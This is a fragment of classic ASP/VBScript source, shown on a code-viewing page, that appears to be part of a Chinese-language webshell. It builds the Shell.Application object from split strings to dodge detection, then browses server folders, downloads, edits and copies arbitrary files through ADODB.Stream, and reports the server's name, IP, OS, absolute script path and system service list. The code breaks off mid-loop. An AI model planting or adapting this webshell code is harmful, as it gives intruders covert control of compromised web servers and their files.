📄 2005.htm
字号:
set sa=server.createObject(shellStr&"."&applicationStr)
if len(thePath)=2 then
thePath=thePath&"\"
end if
set folders=sa.namespace(thePath)
if showFolder=true and getParentFolder(thePath)<>"" then
echo " <a href=""?pageName=stream&thePath="&encodeForUrl(getParentFolder(thePath),false)&""">..</a><br>"
end if
on error resume next
for each list in folders.items
if showFolder=true and list.isfolder Then
echo " <a href=""?pageName=stream&thePath="&encodeForUrl(list.path,false)&""">["
echo replace(replace(lcase(list.path),lcase(thePath),""),"\","")
echo "]</a><br>"
else
if showFolder=false and (not list.isfolder) Then
ext=split(list.path,".")(uBound(split(list.path,".")))
flag=instr(lcase(editableFileExt),lcase("$"&ext&"$"))
if instr(lcase(list.path),lcase(server.mapPath("/"))) then
theHref=encodeForUrl(mid(replace(lcase(list.path),lcase(server.mapPath("/")),""),2),false)
echo " <a href=""/"&theHref&""" target=_blank>"&replace(replace(lcase(list.path),lcase(thePath),""),"\","")&"</a>"
else
echo " "&replace(replace(lcase(list.path),lcase(thePath),""),"\","")
end if
echo " <a href=javascript:; onclick=""stream_downIt('"&encodeForUrl(list.path,true)&"');""><font class=warningColor>Down</font></a>-"
if flag>0 then
echo "<a href=#foot onclick=""stream_editIt('"&encodeForUrl(list.path,true)&"');""><font class=warningColor>Edit</font></a>-"
end if
echo "<a href=javascript:; onclick=""stream_saveAsTwo('"&encodeForUrl(list.path,true)&"');""><font class=warningColor>SaveAs</font></a>-"
echo getTheSize(list.size)
echo "<br>"
end if
end if
next
if err then
onErr err.description
end if
end sub
sub downTheFile(thePath)
dim stream,fileName,fileContentType
fileName=split(thePath,"\")(uBound(split(thePath,"\")))
set stream=server.createObject("adodb.stream")
stream.open
stream.type=1
stream.loadFromFile(thePath)
fileContentType=getContentType(fileName)
response.addHeader "Content-Disposition", "attachment; filename=" & fileName
response.addHeader "Content-Length",stream.Size
response.charset="UTF-8"
response.contentType=fileContentType
response.binaryWrite stream.read
response.flush
stream.close
set stream=nothing
end sub
function getContentType(fileName)
select case split(fileName,".")(uBound(split(fileName,".")))
case "asf"
getContentType="video/x-ms-asf"
case "avi"
getContentType="video/avi"
case "doc"
getContentType="application/msword"
case "zip"
getContentType="application/zip"
case "xls"
getContentType="application/vnd.ms-excel"
case "gif"
getContentType="image/gif"
case "jpg", "jpeg"
getContentType="image/jpeg"
case "wav"
getContentType="audio/wav"
case "mp3"
getContentType="audio/mpeg3"
case "mpg", "mpeg"
getContentType="video/mpeg"
case "rtf"
getContentType="application/rtf"
case "htm", "html"
getContentType="text/html"
case "txt","js"
getContentType="text/plain"
case else
getContentType="application/octet-stream"
end select
end function
sub saveAsTwo(thePath,toPath)
on error resume next
dim stream
if lTrim(thePath)=lTrim(toPath) then
echo "<script>alert('源路径与目标路径相同,操作停止!');</script>"
response.end
end if
set stream=server.createObject("adodb.stream")
stream.type=1
stream.open
stream.loadFromFile thePath
chkErr err,err.description
stream.saveToFile toPath,2
echo "<script language=""javascript"">alert('另存为操作成功!');</script>"
set stream=nothing
end sub
function streamReadFromFile(thePath,userCharset)
dim stream
set stream=server.createObject("adodb.stream")
with stream
.type=2
.mode=3
.open
on error resume next
.loadFromFile thePath
chkErr err,"文件无法被打开,请重试!"
if userCharset<>"" then
.charset=userCharset
else
.charset="gb2312"
end if
chkErr err,"编码类型错误!"
.Position=2
streamReadFromFile=.readText()
.close
end with
set stream=nothing
end function
sub streamWriteToFile(thePath,fileContent)
dim stream
set stream=server.createObject("adodb.stream")
with stream
.type=2
.mode=3
.open
.charset="gb2312"
.writeText fileContent
.saveToFile thePath,2
.close
end with
set stream=nothing
echo "文件保存成功! [<a href="""&request.serverVariables("http_referer")&""">返回</a>]"
end sub
sub pageServer()
dim i,obj,theAct,theStr
isIn(1)
theAct=request("theAct")
showTitle("服务器相关数据")
dim t1,t2,lsabc,theTime
if theAct="showService" then
theTime="系统服务列表打开时不执行速度测试"
theStr="<a href=""?pageName=server"">关闭系统服务列表</a>"
else
t1=timer()
for i=1 to 500000
lsabc=1+1
next
t2=timer()
theTime=cstr(int(((t2-t1)*10000)+0.5)/10)&" 毫秒(50万次1+1运算所需时间)"
theStr="<a href=""?pageName=server&theAct=showService"">打开系统服务列表</a>"
end if
echo "<table width=560 border=0 align=""center"" cellpadding=0 cellspacing=0>"&vbNewLine
echo " <tr align=""center"" class=""td"" onmouseover=""this.className='';"" onMouseOut=""this.className='td'"" height=18> "&vbNewLine
echo " <td height=""22"" colspan=""2"" class=""td"">服务器相关数据</td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " <tr align=""center"" class=""td"" onmouseover=""this.className='';"" onMouseOut=""this.className='td'""> "&vbNewLine
echo " <td height=""0"" colspan=""2"" class=""trHead"">&nbsp;</td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " <tr class=""td"" height=18 onmouseover=""this.className='';"" onMouseOut=""this.className='td'""> "&vbNewLine
echo " <td height=""22"" align=left>&nbsp;服务器名</td>"&vbNewLine
echo " <td height=""22"">&nbsp;"&vbNewLine
echo request.serverVariables("SERVER_NAME")
echo "</td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " <tr class=""td"" height=18 onmouseover=""this.className='';"" onMouseOut=""this.className='td'""> "&vbNewLine
echo " <td height=""22"" align=left>&nbsp;服务器IP</td>"&vbNewLine
echo " <td height=""22"">&nbsp;"&vbNewLine
echo request.serverVariables("LOCAL_ADDR")
echo "</td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " <tr class=""td"" height=18 onmouseover=""this.className='';"" onMouseOut=""this.className='td'""> "&vbNewLine
echo " <td height=""22"" align=left>&nbsp;服务器时间</td>"&vbNewLine
echo " <td height=""22"">&nbsp;"&vbNewLine
echo now
echo "</td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " <tr class=""td"" height=18 onmouseover=""this.className='';"" onMouseOut=""this.className='td'""> "&vbNewLine
echo " <td height=""22"" align=left>&nbsp;本文件绝对路径</td>"&vbNewLine
echo " <td height=""22"">&nbsp;"&vbNewLine
echo server.mappath(request.serverVariables("SCRIPT_NAME"))
echo "</td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " <tr class=""td"" height=18 onmouseover=""this.className='';"" onMouseOut=""this.className='td'""> "&vbNewLine
echo " <td height=""22"" align=left>&nbsp;服务器操作系统</td>"&vbNewLine
echo " <td height=""22"">&nbsp;"&vbNewLine
echo request.serverVariables("OS")
echo "</td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " <tr class=""td"" height=18 onmouseover=""this.className='';"" onMouseOut=""this.className='td'""> "&vbNewLine
echo " <td height=""22"" align=left>&nbsp;服务器运算速度测试</td>"&vbNewLine
echo " <td height=""22"" class=""warningColor"">&nbsp;"&vbNewLine
echo theTime
echo "</td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " <tr class=""td"" height=18 onmouseover=""this.className='';"" onMouseOut=""this.className='td'"">"&vbNewLine
echo " <td height=""22"" align=left>&nbsp;服务器系统服务列表</td>"&vbNewLine
echo " <td height=""22"">&nbsp;"&vbNewLine
echo theStr
echo "</td>"&vbNewLine
echo " </tr>"&vbNewLine
if theAct="showService" then
on error resume next
for each obj in getObject("WinNT://.")
err.clear
echo "<tr class=""td"">"
echo "<td height=""22""> "
echo obj.Name
echo "</td><td class=""td""> "
echo obj.DisplayName
if err then
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -